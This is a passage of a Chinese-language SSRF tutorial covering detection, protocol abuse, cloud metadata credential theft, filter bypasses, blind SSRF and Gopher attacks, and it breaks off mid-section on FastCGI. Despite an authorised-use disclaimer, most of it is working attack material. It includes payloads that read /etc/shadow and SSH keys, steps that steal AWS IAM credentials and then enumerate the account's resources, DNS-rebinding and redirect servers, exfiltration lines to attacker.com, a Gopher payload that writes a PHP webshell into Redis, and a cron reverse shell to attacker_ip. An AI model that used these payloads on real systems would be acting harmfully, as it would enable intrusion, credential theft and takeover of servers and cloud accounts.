【提示】 本文所有技术内容仅供授权安全测试、安全学习与防御研究使用。未经授权对他人系统进行SSRF测试属于违法行为。请务必在合法授权的靶场环境或获得书面授权的前提下进行实践。文中涉及的云厂商元数据地址、绕过技术仅为防御参考,切勿用于非授权场景。
SSRF(Server-Side Request Forgery,服务端请求伪造)是近年来云原生时代最危险的漏洞之一。随着微服务架构、云环境元数据服务的普及,一个简单的SSRF漏洞就能导致整朵云被接管、内网全面失守。从2019年Capital One数据泄露(AWS元数据SSRF致1.06亿用户数据外泄),到无数内网穿透事件,SSRF的杀伤力远超大多数Web漏洞。
本文将从基础原理、漏洞发现、协议利用、云环境利用、绕过技术、盲SSRF、Gopher深度利用、漏洞组合、自动化工具、防御方案到靶场实战,完整还原SSRF攻防全链路。无论你是渗透测试人员、安全开发工程师还是云安全运维人员,都能从中获得可直接落地的技术参考。
一、SSRF基础原理
1.1 什么是SSRF
SSRF(Server-Side Request Forgery)是指攻击者能够利用服务端应用程序发起由攻击者控制的网络请求。当Web应用接受用户输入的URL、域名或主机地址,并在服务端对该地址发起请求时,若未对输入进行严格校验,攻击者就可以让服务器去访问本不该访问的资源,例如内网服务、本地文件、云元数据接口等。
1.2 SSRF的核心危害
SSRF的危害极其广泛,主要包括:
- 内网端口与服务扫描,绘制内网拓扑
- 读取本地任意文件(通过file协议)
- 攻击内网未授权服务(Redis、MySQL、FastCGI等)
- 穿透防火墙访问隔离网络
- 获取云服务器实例元数据,窃取AK/SK凭据
- 接管云资源、Kubernetes集群
- 结合其他漏洞实现远程代码执行(RCE)
1.3 服务端发起请求的常见场景
SSRF本质上源于"服务端代替用户发起请求"的业务功能。以下场景是SSRF高发区:
| 场景 | 说明 | 典型参数 |
|---|---|---|
| URL预览/链接摘要 | 抓取URL生成标题和缩略图 | url=, link= |
| 图片代理/远程图片获取 | 下载远程图片到本地 | image=, img=, thumb= |
| Webhook回调 | 服务端向用户配置的地址发送通知 | webhook=, callback= |
| 文件远程获取 | 从指定URL下载文件 | file=, source=, path= |
| API聚合/转发 | 服务端调用第三方API | api=, endpoint=, proxy= |
| PDF/文档在线生成 | 渲染远程页面生成PDF | html=, render= |
| RSS/Feed订阅抓取 | 抓取订阅源 | feed=, rss= |
| 翻译/代理服务 | 在线翻译或代理访问 | translate=, url= |
1.4 SSRF与CSRF的区别
很多初学者容易混淆SSRF与CSRF,二者有本质区别:
| 对比项 | SSRF | CSRF |
|---|---|---|
| 全称 | Server-Side Request Forgery | Cross-Site Request Forgery |
| 请求发起方 | 服务端(被攻击服务器) | 用户浏览器(受害者) |
| 攻击目标 | 内网服务、本地文件、云元数据 | 用户身份执行的操作 |
| 利用条件 | 服务端有URL请求功能 | 用户已登录目标站点 |
| 危害层面 | 内网穿透、数据窃取、云接管 | 越权操作、账号盗用 |
| 防御重点 | 输入校验、IP白名单 | Token、SameSite Cookie |
1.5 SSRF分类
根据响应是否回显,SSRF可分为三类:
| 类型 | 说明 | 利用难度 | 典型场景 |
|---|---|---|---|
| 基本SSRF | 服务端请求结果直接回显 | 低 | URL预览、图片代理 |
| 半盲SSRF | 部分信息回显(状态码/标题/错误) | 中 | Webhook、部分API |
| 盲SSRF | 无任何响应回显 | 高 | 无回显的回调、异步任务 |
1.6 常见触发函数
不同语言中触发SSRF的常见函数:
| 语言 | 触发函数/类 | 说明 |
|---|---|---|
| PHP | file_get_contents() | 读取URL内容,支持多种协议 |
| PHP | curl_exec() | cURL请求,功能强大 |
| PHP | fsockopen() | 打开网络连接,可指定协议 |
| PHP | SoapClient | SOAP请求,支持gopher协议 |
| Java | URL.openConnection() | 打开URL连接 |
| Java | HttpURLConnection | HTTP连接 |
| Java | HttpClient | Apache HTTP客户端 |
| Java | RestTemplate | Spring REST请求 |
| Python | requests.get() | HTTP请求库 |
| Python | urllib.urlopen() | 内置URL打开 |
| Python | pycurl | cURL绑定 |
| Node.js | http.get() / https.get() | 内置HTTP模块 |
| Node.js | axios.get() | 流行HTTP库 |
| Go | http.Get() | 标准库HTTP请求 |
1.7 OWASP Top 10中的位置
在OWASP Top 10 2021中,SSRF被单独列为A10:2021 - Server-Side Request Forgery (SSRF),这是SSRF首次作为独立类别进入Top 10,足见其危害之严重。在2017版中SSRF属于A6组件相关风险的一部分。
二、SSRF漏洞发现与检测
2.1 漏洞点识别方法
发现SSRF的第一步是定位服务端发起请求的输入点。以下是系统化的识别方法:
| 方法 | 说明 | 适用场景 |
|---|---|---|
| 参数名分析 | 关注url/link/image等参数 | 黑盒测试 |
| 功能点观察 | URL预览、图片代理、Webhook | 业务理解 |
| 流量抓包 | Burp抓包分析请求参数 | 主动测试 |
| 代码审计 | 搜索触发函数调用 | 白盒测试 |
| 历史漏洞参考 | 同类型应用已知SSRF点 | 经验复用 |
| API文档查阅 | Swagger/OpenAPI文档中的URL参数 | 接口测试 |
2.2 URL参数分析
重点关注的URL参数模式:
https://target.com/preview?url=https://example.com
https://target.com/proxy?image=http://img.example.com/a.jpg
https://target.com/fetch?file=ftp://files.example.com/data
https://target.com/api/call?endpoint=http://internal-api/v1/users
https://target.com/webhook?callback=https://attacker.com/notify
https://target.com/render?html=https://page.example.com
https://target.com/translate?source=http://source.example.com
https://target.com/import?feed=https://feed.example.com/rss
2.3 常见SSRF参数名清单
以下是高频出现的SSRF相关参数名,测试时优先关注:
url、link、image、img、thumbnail、thumb、source、src、file、filename
target、target_url、dest、destination、redirect、redirect_url
proxy、webhook、callback、api、endpoint、endpoint_url
host、hostname、domain、address、ip、port
remote、remote_url、fetch、load、open、preview、convert
next、ref、reference、uri、request、site、page、path、feed、rss
2.4 检测Payload集
使用带外回调通道是检测SSRF最可靠的方法。以下是常用检测payload:
【提示】 检测时使用Burp Collaborator或自建DNSLog服务,通过观察是否收到DNS/HTTP回调来确认SSRF存在。
基础DNSLog检测:
?url=http://xxx.dnslog.cn
?url=http://collaborator.burpcollaborator.net
?url=http://abc123.yourserver.com
?url=http://attacker.com/ssrf-test
不同协议探测:
?url=file:///etc/passwd
?url=dict://127.0.0.1:6379/INFO
?url=gopher://127.0.0.1:6379/_INFO
?url=http://169.254.169.254/latest/meta-data/
?url=http://127.0.0.1:80
2.5 自动化检测脚本
下面是一个Python编写的SSRF自动化检测脚本,结合DNSLog实现带外检测:
python
import requests
import random
import string
import time
import argparse
class SSRFDetector:
def __init__(self, dnslog_domain):
self.dnslog_domain = dnslog_domain
self.payloads = []
self.results = []
def generate_payload_id(self):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
def build_payloads(self, target_param):
"""构建检测payload集"""
subdomain = self.generate_payload_id()
payloads = [
# 基础HTTP回调
f"http://{subdomain}.{self.dnslog_domain}",
# 不同协议
f"file:///etc/passwd",
f"dict://127.0.0.1:6379/INFO",
f"gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a",
# 云元数据
f"http://169.254.169.254/latest/meta-data/",
f"http://100.100.100.200/latest/meta-data/",
# 内网探测
f"http://127.0.0.1:80",
f"http://127.0.0.1:22",
f"http://192.168.1.1:80",
]
return payloads
def scan(self, url, param, method="GET"):
"""执行SSRF检测"""
payloads = self.build_payloads(param)
for payload in payloads:
try:
if method == "GET":
r = requests.get(url, params={param: payload}, timeout=10)
else:
r = requests.post(url, data={param: payload}, timeout=10)
self.results.append({
"payload": payload,
"status": r.status_code,
"length": len(r.text),
"time": r.elapsed.total_seconds()
})
print(f"[*] Payload: {payload}")
print(f" Status: {r.status_code} | Length: {len(r.text)} | Time: {r.elapsed.total_seconds():.2f}s")
except Exception as e:
print(f"[!] Error with {payload}: {e}")
return self.results
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="SSRF Auto Detector")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-p", "--param", required=True, help="Parameter name")
parser.add_argument("-d", "--dnslog", required=True, help="DNSLog domain")
parser.add_argument("-m", "--method", default="GET", help="HTTP method")
args = parser.parse_args()
detector = SSRFDetector(args.dnslog)
detector.scan(args.url, args.param, args.method)
print("\n[+] Check your DNSLog panel for callbacks")
2.6 完整检测流程
完整的SSRF检测流程如下:
- 信息收集:识别目标应用中所有接收URL参数的功能点
- 参数标记:列出所有可疑参数名(url/image/webhook等)
- 带外检测:使用DNSLog对每个可疑参数发送回调payload
- 结果确认:检查DNSLog面板是否收到DNS查询或HTTP请求
- 协议探测:确认存在SSRF后,测试file/dict/gopher等协议
- 内网扫描:利用SSRF扫描内网端口和服务
- 深度利用:根据发现的服务进行进一步利用
- 报告记录:详细记录漏洞点、payload、影响范围
三、协议利用与内网穿透
SSRF的威力很大程度上来源于多协议支持。当服务端底层使用支持多协议的库(如PHP的curl)时,攻击者可以利用不同协议实现内网穿透和文件读取。
3.1 file协议读取本地文件
file协议用于读取服务器本地文件,是最直接的SSRF利用方式之一。
Linux系统常见读取目标:
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/status
file:///var/log/nginx/access.log
file:///root/.ssh/id_rsa
file:///root/.bash_history
Windows系统常见读取目标:
file:///C:/Windows/win.ini
file:///C:/Windows/system32/drivers/etc/hosts
file:///C:/Windows/System32/config/SAM
file:///C:/inetpub/wwwroot/web.config
file:///C:/Users/Administrator/.ssh/id_rsa
读取应用源码和配置:
file:///var/www/html/config.php
file:///var/www/html/.env
file:///app/config/database.yml
file:///opt/application/application.properties
3.2 dict协议探测端口与服务版本
dict协议可以探测目标端口开放情况和服务Banner信息,是内网信息收集利器。
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/config:get:dir
dict://127.0.0.1:3306/
dict://127.0.0.1:22/
dict://127.0.0.1:21/
dict://127.0.0.1:11211/stats
dict://192.168.1.1:8080/
3.3 gopher协议详解
gopher协议是SSRF中最强大的协议,它可以构造任意TCP数据包,能够攻击几乎所有TCP服务。gopher协议格式如下:
gopher://<host>:<port>/_<TCP数据流(URL编码)>
【提示】 gopher协议中下划线
_后面即为发送的原始TCP数据,需要对数据中的特殊字符(如换行符、回车符)进行URL编码。换行符\r\n编码为%0d%0a。
gopher打Redis示例(执行INFO命令):
gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a
3.4 http协议内网扫描
http协议可用于内网Web服务和端口扫描:
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:8443
http://127.0.0.1:3000
http://127.0.0.1:9090
http://192.168.1.0/24
http://10.0.0.0/8
http://172.16.0.0/12
内网常见端口扫描清单:
| 端口 | 服务 | 说明 |
|---|---|---|
| 22 | SSH | 远程登录 |
| 21 | FTP | 文件传输 |
| 80/443 | HTTP/HTTPS | Web服务 |
| 3306 | MySQL | 数据库 |
| 6379 | Redis | 缓存服务 |
| 11211 | Memcached | 缓存服务 |
| 27017 | MongoDB | 文档数据库 |
| 9200 | Elasticsearch | 搜索引擎 |
| 5601 | Kibana | 可视化面板 |
| 9000 | FastCGI/PHP-FPM | FastCGI进程 |
| 2375 | Docker | Docker API |
| 8080 | Tomcat/Jenkins | 应用服务 |
| 8161 | ActiveMQ | 消息队列 |
| 15672 | RabbitMQ | 消息队列管理 |
| 8500 | Consul | 服务发现 |
3.5 ldap协议利用
ldap协议可用于查询目录服务信息:
ldap://127.0.0.1:389/
ldap://127.0.0.1/dc=example,dc=com
3.6 完整协议利用Payload集
# file协议 - 文件读取
file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ
file:///C:/Windows/win.ini
# dict协议 - 端口探测
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/config:get:dir
dict://127.0.0.1:3306/
dict://127.0.0.1:11211/stats
# gopher协议 - Redis攻击
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:6379/_flushall%0d%0a
# gopher协议 - MySQL攻击
gopher://127.0.0.1:3306/_<MySQL数据包>
# http协议 - 内网扫描
http://127.0.0.1:80
http://192.168.1.1:8080
http://10.0.0.1:80
# 云元数据
http://169.254.169.254/latest/meta-data/
http://100.100.100.200/latest/meta-data/
# ldap协议
ldap://127.0.0.1:389/dc=example,dc=com
# tftp协议
tftp://127.0.0.1/etc/passwd
四、云环境SSRF利用
云环境的出现让SSRF的危害呈指数级放大。几乎所有主流云厂商都提供了实例元数据服务(IMDS),通过特定链路本地地址可以获取实例信息甚至临时凭据。
4.1 AWS EC2元数据服务
AWS EC2实例元数据服务通过链路本地地址169.254.169.254提供,这是最经典的SSRF利用目标:
# 获取实例基本信息
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/security-credentials/
# 获取IAM角色凭据(关键!)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
# 用户数据(可能包含敏感信息)
http://169.254.169.254/latest/user-data/
# 动态数据
http://169.254.169.254/latest/dynamic/instance-identity/document
获取到的IAM角色凭据格式如下(包含AccessKeyId、SecretAccessKey、Token):
json
{
"Code" : "Success",
"LastUpdated" : "2026-01-01T00:00:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAxxxxxxxxxxxxxxx",
"SecretAccessKey" : "wJalrXUtxxxxxxxxxxxxxxxxxxxxxxxx",
"Token" : "FwoGZXIvYXdzExxxxxxxxxxxxxx",
"Expiration" : "2026-01-01T06:00:00Z"
}
4.2 阿里云ECS元数据服务
阿里云ECS实例元数据通过100.100.100.200提供:
# 阿里云元数据
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/instance-name
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>
http://100.100.100.200/latest/user-data
4.3 各云厂商元数据地址表
| 云厂商 | 元数据地址 | 凭据路径 | 备注 |
|---|---|---|---|
| AWS EC2 | 169.254.169.254 | /latest/meta-data/iam/security-credentials/ | IMDSv2需Token |
| 阿里云ECS | 100.100.100.200 | /latest/meta-data/ram/security-credentials/ | - |
| 腾讯云CVM | 169.254.0.23 | /latest/meta-data/cam/security-credentials/ | - |
| 华为云ECS | 169.254.169.254 | /latest/meta-data/iam/security-credentials/ | - |
| Azure VM | 169.254.169.254 | /metadata/instance?api-version=2021-02-01 | 需Header: Metadata:true |
| Google Cloud | metadata.google.internal | /computeMetadata/v1/ | 需Header: Metadata-Flavor: Google |
| UCloud | 169.254.169.254 | /latest/meta-data/ | - |
【提示】 Azure和GCP的元数据服务要求请求中携带特定Header才能响应,这意味着普通的SSRF无法直接访问,需要SSRF支持自定义Header才行。这也是一种天然的防护。
4.4 IMDSv1与IMDSv2区别与绕过
AWS在2019年Capital One事件后推出了IMDSv2,要求请求时先获取Session Token,再带Token请求元数据:
IMDSv1(已不推荐):
# 直接请求即可
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
IMDSv2(推荐):
# 第一步:获取Token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# 第二步:带Token请求元数据
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Header: X-aws-ec2-metadata-token: <token>
IMDSv2的绕过思路:
| 绕过思路 | 说明 | 可行性 |
|---|---|---|
| 应用仍兼容IMDSv1 | 未强制禁用v1 | 高 |
| SSRF支持PUT方法 | 可获取Token | 中 |
| XSS+浏览器代理 | 利用浏览器发PUT | 低 |
| 容器内直接访问 | 已在实例内部 | 不适用 |
4.5 云SSRF完整利用链
以AWS为例,完整利用链如下:
-
发现SSRF漏洞点(如URL预览功能)
-
访问元数据获取IAM角色名
http://169.254.169.254/latest/meta-data/iam/security-credentials/
-
获取角色临时凭据(AK/SK/Token)
http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
-
配置AWS CLI使用获取的凭据
bash
export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxxxxx"
export AWS_SECRET_ACCESS_KEY="wJalrXUtxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzExxxxxxxxxxxxxx"
- 枚举云资源并接管
bash
# 列出S3存储桶
aws s3 ls
# 列出EC2实例
aws ec2 describe-instances
# 列出Lambda函数
aws lambda list-functions
# 读取数据库密钥
aws secretsmanager get-secret-value --secret-id prod/db
4.6 Kubernetes API Server SSRF
Kubernetes API Server默认监听端口6443/443,若内网存在SSRF可访问API Server:
https://kubernetes.default.svc:443/api/v1/namespaces/default/pods
https://kubernetes.default.svc:443/api/v1/secrets
https://kubernetes.default.svc:443/api/v1/namespaces/default/configmaps
如果Pod通过ServiceAccount挂载了Token,可以通过file协议读取:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
然后利用Token访问API Server:
bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc:443/api/v1/namespaces/default/secrets
五、SSRF绕过技术
实际环境中,开发者通常会设置一些防护,如黑名单过滤127.0.0.1、禁止内网IP等。绕过防护是SSRF攻击的核心技能。
5.1 IP地址绕过
当服务端过滤了 127.0.0.1 等常见本地地址时,可以用各种等价表示形式绕过:
| 绕过方式 | 示例 | 说明 |
|---|---|---|
| 十进制整数 | http://2130706433/ | 127.0.0.1的十进制 |
| 八进制 | http://0177.0.0.1/ | 八进制表示 |
| 十六进制 | http://0x7f.0x0.0x0.0x1/ | 十六进制 |
| 十六进制整数 | http://0x7f000001/ | 完整十六进制 |
| 混合编码 | http://0177.0.0.0x1/ | 八进制+十六进制 |
| IPv6回环 | http://::1/ | IPv6本地地址 |
| IPv6映射 | http://::ffff:127.0.0.1/ | IPv6映射IPv4 |
| 省略零 | http://127.1/ | 等价127.0.0.1 |
| 全零 | http://0.0.0.0/ | 等价本地地址 |
| 127.x.x.x | http://127.255.255.254/ | 整个127段均为本地 |
| 八进制混合 | http://017700000001/ | 八进制整数 |
验证计算:
127.0.0.1 十进制 = 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
127.0.0.1 十六进制 = 0x7f000001
127.0.0.1 八进制 = 017700000001
5.2 域名绕过
利用域名解析到本地或内网来绕过IP黑名单:
# 短链接服务(跳转到内网地址)
http://dwz.cn/xxxxx (指向内网)
http://bit.ly/xxxxx
# 本地域名(DNS解析为127.0.0.1)
http://localhost
http://localtest.me (解析为127.0.0.1)
http://localtest.me = 127.0.0.1
http://customer1.app.localhost.my.company.localhost.localdomain
# xip.io / xip.nip.io (泛解析服务)
http://127.0.0.1.xip.io/
http://192.168.1.1.xip.io/
http://10.0.0.1.nip.io/
http://ssrf.127.0.0.1.xip.io/
5.3 URL解析差异绕过
不同URL解析库对特殊字符的处理存在差异,可利用这些差异绕过校验:
# @符号绕过(@前为用户名,@后为真实主机)
http://evil.com@127.0.0.1/
http://allowed.com@127.0.0.1/
http://allowed.com@127.0.0.1:80/
# #符号绕过(#后为片段,部分库忽略)
http://127.0.0.1#@allowed.com/
# 反斜杠绕过
http://allowed.com\@127.0.0.1/
http://127.0.0.1\@allowed.com/
# 空格绕过
http://127.0.0.1 /
http:// 127.0.0.1
# 多个@符号
http://a@b@c@127.0.0.1/
【提示】 URL解析差异是最隐蔽的绕过方式之一。例如,某些校验库会将
http://evil.com@127.0.0.1/中的host解析为evil.com(@前的部分),而实际请求库会向127.0.0.1发起请求(@后的部分),从而实现绕过。
5.4 DNS重绑定攻击
DNS Rebinding(DNS重绑定)是一种高级绕过技术,利用DNS缓存时间差绕过基于DNS解析的IP校验。
攻击原理:
- 攻击者控制一个域名
evil.com - 第一次DNS解析返回一个公网IP(通过校验)
- 校验通过后,DNS记录快速变为127.0.0.1
- 服务端实际请求时解析到127.0.0.1
利用rbndr等DNS重绑定服务:
# 使用rbndr服务(交替返回两个IP)
http://7f000001.c0a80001.rbndr.us/
# 上面的域名会交替返回 127.0.0.1 和 192.168.0.1
# 使用自建DNS服务器
配置TTL=0的DNS记录,第一次返回公网IP,第二次返回127.0.0.1
自建DNS重绑定服务器核心逻辑(Python):
python
from twisted.internet import reactor
from twisted.names import dns, server, common
import sys
REBIND_IP = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
SAFE_IP = "1.2.3.4" # 用于通过初次校验的公网IP
query_count = 0
class RebindResolver(common.ResolverBase):
def _lookup(self, name, cls, type, timeout):
global query_count
query_count += 1
# 第一次查询返回公网IP,第二次返回内网IP
if query_count % 2 == 1:
ip = SAFE_IP
else:
ip = REBIND_IP
print(f"[*] Query #{query_count} for {name} -> {ip}")
answer = dns.RRHeader(
name=name,
payload=dns.Record_A(address=ip, ttl=0),
ttl=0
)
return [answer], [], None
def main():
factory = server.DNSServerFactory(
clients=[RebindResolver()],
verbose=2
)
reactor.listenUDP(53, dns.DNSDatagramProtocol(factory))
reactor.listenTCP(53, factory)
print(f"[+] DNS Rebinding server started (rebind to {REBIND_IP})")
reactor.run()
if __name__ == "__main__":
main()
5.5 302跳转绕过
当服务端校验了URL的域名或IP,但允许跟随重定向时,可利用302跳转绕过:
攻击者搭建一个返回302跳转的服务:
python
# rebinder.py - 302跳转服务器
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redirect_to_internal():
# 跳转到内网或元数据地址
return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
@app.route('/file')
def redirect_to_file():
return redirect("file:///etc/passwd")
@app.route('/gopher')
def redirect_to_gopher():
return redirect("gopher://127.0.0.1:6379/_flushall")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
利用方式:
http://attacker.com:8888/redirect
http://attacker.com:8888/file
http://attacker.com:8888/gopher
【提示】 302跳转绕过的核心在于:服务端校验的是初始URL(attacker.com),但实际请求时会跟随302跳转到内网地址。这种方式可以绕过协议限制(如服务端只允许http,但302跳转后可到达file/gopher协议)。
5.6 DNS泛解析利用
利用泛域名解析服务将任意子域名指向指定IP:
# 利用sslip.io
http://127.0.0.1.sslip.io/
http://192.168.1.1.sslip.io/
http://10.0.0.1.sslip.io/
# 利用nip.io
http://127.0.0.1.nip.io/
http://192.168.1.100.nip.io/
5.7 完整绕过Payload集
# IP绕过
http://2130706433/
http://0x7f000001/
http://017700000001/
http://0x7f.0x0.0x0.0x1/
http://0177.0.0.1/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://127.1/
http://0.0.0.0/
http://127.255.255.254/
# 域名绕过
http://127.0.0.1.xip.io/
http://127.0.0.1.nip.io/
http://127.0.0.1.sslip.io/
http://localtest.me/
http://localhost/
# URL解析差异
http://allowed.com@127.0.0.1/
http://127.0.0.1#@allowed.com/
http://allowed.com\@127.0.0.1/
# 302跳转
http://attacker.com/redirect-to-internal
# DNS重绑定
http://7f000001.c0a80001.rbndr.us/
http://rebind.attacker.com/
六、盲SSRF利用技术
当SSRF漏洞没有响应回显时,称为盲SSRF。盲SSRF的利用难度更高,但通过带外数据提取和时间差异等技术,依然可以获取大量信息。
6.1 盲SSRF原理与场景
盲SSRF常见于Webhook回调、异步任务、邮件通知等功能。服务端发起请求后不返回任何内容给用户,攻击者无法直接看到响应。
典型盲SSRF场景:
- Webhook配置后服务端异步发送请求
- 邮件系统预览远程图片
- 后台定时任务抓取URL
- API异步调用第三方接口
6.2 基于时间的端口探测
利用不同端口连接时间的差异来推断端口开放状态。开放端口通常快速返回,关闭端口会有较长超时。
python
import requests
import time
def blind_ssrf_port_scan(base_url, param, host, ports):
"""基于时间的盲SSRF端口扫描"""
results = []
for port in ports:
target = f"http://{host}:{port}"
start = time.time()
try:
requests.get(base_url, params={param: target}, timeout=30)
except:
pass
elapsed = time.time() - start
status = "open" if elapsed < 2 else "closed/filtered"
results.append({"port": port, "time": f"{elapsed:.2f}s", "status": status})
print(f"[*] Port {port}: {elapsed:.2f}s -> {status}")
return results
# 使用示例
base_url = "http://target.com/webhook"
param = "callback"
host = "127.0.0.1"
ports = [22, 80, 443, 3306, 6379, 8080, 9200]
blind_ssrf_port_scan(base_url, param, host, ports)
6.3 基于DNSLog的带外数据提取
利用DNS查询带外传输数据是盲SSRF最有效的信息提取方式。通过将数据编码到子域名中,DNS查询会被DNSLog服务接收。
数据提取Payload构造:
# 读取文件内容并通过DNS外带
http://attacker.com/?data=$(cat /etc/hostname)
# 利用DNS带外提取(在支持命令执行的场景)
http://`whoami`.attacker.com/
http://`cat /etc/passwd | base64`.attacker.com/
# SSRF场景下的DNS带外
http://subdomain-data.attacker.com/
6.4 基于错误差异的信息推断
当服务端对不同响应返回不同的错误信息时,可以通过错误差异推断内部状态:
| 响应表现 | 推断信息 |
|---|---|
| 快速返回200 | 端口开放,服务正常 |
| 超时无响应 | 端口关闭或被过滤 |
| 返回Connection refused | 端口关闭 |
| 返回HTTP错误码 | 端口开放但非HTTP服务 |
| 返回特定Banner | 服务类型和版本 |
6.5 HTTP方法利用
部分SSRF场景下可以指定HTTP方法,不同方法可获取不同信息:
# TRACE方法 - 探测中间代理
TRACE / HTTP/1.1
# OPTIONS方法 - 探测支持的方法
OPTIONS / HTTP/1.1
# POST/PUT/DELETE - 测试写操作
POST /api/users HTTP/1.1
# 自定义方法 - 探测服务行为
CUSTOMMETHOD / HTTP/1.1
6.6 完整盲SSRF利用脚本
python
import requests
import time
import socket
import base64
import threading
class BlindSSRFExploit:
def __init__(self, target_url, param, dnslog_domain):
self.target_url = target_url
self.param = param
self.dnslog = dnslog_domain
self.results = {}
def dns_exfil(self, data):
"""通过DNS带外传输数据"""
encoded = base64.b64encode(data.encode()).decode().replace('=', '')
# 分段传输,避免子域名过长
chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)]
for i, chunk in enumerate(chunks):
payload = f"http://{i}.{chunk}.{self.dnslog}"
try:
requests.get(self.target_url, params={self.param: payload}, timeout=10)
except:
pass
def time_based_port_scan(self, host, ports):
"""基于时间的端口扫描"""
print(f"[*] Time-based port scan for {host}")
for port in ports:
target = f"http://{host}:{port}"
times = []
for _ in range(3): # 每个端口测3次取平均
start = time.time()
try:
requests.get(self.target_url, params={self.param: target}, timeout=15)
except:
pass
times.append(time.time() - start)
avg_time = sum(times) / len(times)
status = "OPEN" if avg_time < 1.5 else "CLOSED"
self.results[f"{host}:{port}"] = {"time": avg_time, "status": status}
print(f" Port {port}: {avg_time:.2f}s -> {status}")
def error_based_probe(self, target):
"""基于错误的探测"""
payload = f"http://{target}"
try:
r = requests.get(self.target_url, params={self.param: payload}, timeout=10)
return {"status_code": r.status_code, "length": len(r.text), "time": r.elapsed.total_seconds()}
except requests.exceptions.ConnectionError:
return {"error": "connection_refused"}
except requests.exceptions.Timeout:
return {"error": "timeout"}
except Exception as e:
return {"error": str(e)}
def run_full_scan(self, host, ports):
"""执行完整盲SSRF扫描"""
print("[*] Starting blind SSRF full scan")
self.time_based_port_scan(host, ports)
print(f"\n[+] Results: {self.results}")
print(f"[+] Check DNSLog: {self.dnslog}")
# 使用示例
exploit = BlindSSRFExploit(
target_url="http://target.com/api/webhook",
param="callback",
dnslog_domain="xxx.dnslog.cn"
)
exploit.run_full_scan("127.0.0.1", [22, 80, 3306, 6379, 8080])
七、Gopher协议深度利用
Gopher协议是SSRF利用的王牌武器,能够构造任意TCP数据包,实现对Redis、MySQL、FastCGI、SMTP等服务的深度攻击。
7.1 Gopher协议格式详解
Gopher协议格式:
gopher://<host>:<port>/_<URL编码的TCP数据>
关键点:
_后面紧跟要发送的原始TCP数据- 所有数据需要URL编码
- 换行符
\r\n编码为%0d%0a - 第一个字符可以是路径标识符(如
_代表gopher自身)
7.2 Gopher打Redis
Redis未授权访问是SSRF最常见的内网攻击目标。
7.2.1 Redis未授权访问 - 写Webshell
构造Redis命令写入Webshell:
# 原始Redis命令
flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']); ?>"
save
# Gopher payload (URL编码)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a%3C%3Fphp%20@eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
7.2.2 Redis写SSH公钥
# 原始Redis命令
flushall
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC...(公钥内容)...\n\n"
save
7.2.3 Redis写Cron定时任务
# 原始Redis命令
flushall
config set dir /var/spool/cron
config set dbfilename root
set x "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"
save
7.3 Gopher打MySQL
当MySQL存在未授权访问或已知弱口令时,可通过Gopher协议执行SQL语句。
MySQL未授权查询Payload:
# 查询数据(需要构造MySQL协议数据包)
gopher://127.0.0.1:3306/_<URL编码的MySQL数据包>
# 使用Gopherus工具生成(见第八章)
【提示】 MySQL协议数据包构造较为复杂,通常使用Gopherus工具自动生成payload。MySQL未授权利用需要目标MySQL配置允许无密码连接。
7.4 Gopher打FastCGI(RCE)
当内网存在PHP-FPM(9000端口)且未做访问控制时,可通过Gopher协议利用FastCGI协议实现RCE。
FastCGI RCE payload核心原理:
# 构造FastCGI请求,设置以下PHP配置
PHP_VALUE: auto_prepend_file = php://input
